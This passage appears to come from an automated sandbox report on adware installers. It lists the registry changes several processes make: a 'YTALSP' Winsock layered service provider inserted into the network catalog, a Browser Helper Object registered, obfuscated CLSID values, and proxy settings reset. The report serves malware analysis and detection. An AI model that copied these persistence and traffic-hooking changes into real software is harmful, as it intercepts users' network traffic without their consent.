"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\App Lid"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"Version" = "1.0"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\Programmable]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Programmable]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]

The process lspinst.exe:2620 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PxJUBQ^lx|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkiSLXGjt\li@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiF"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MeumSRC\}IQAf_@a`KGMsCJEycmq"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVzixaFG"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3212 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MeumSRC\}IQAf_@a`KGMsCJEycmq"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PxJUBQ^lx|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkiSLXGjt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVzVKtM]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiF"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:1784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll,"

The process appshat_generic.exe:1808 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F6 C7 2A 2A 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "76 E3 CF 2D 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "76 E3 CF 2D 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:320 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FE B3 66 07 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "80 BC B3 0A 2C 3C D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "80 BC B3 0A 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
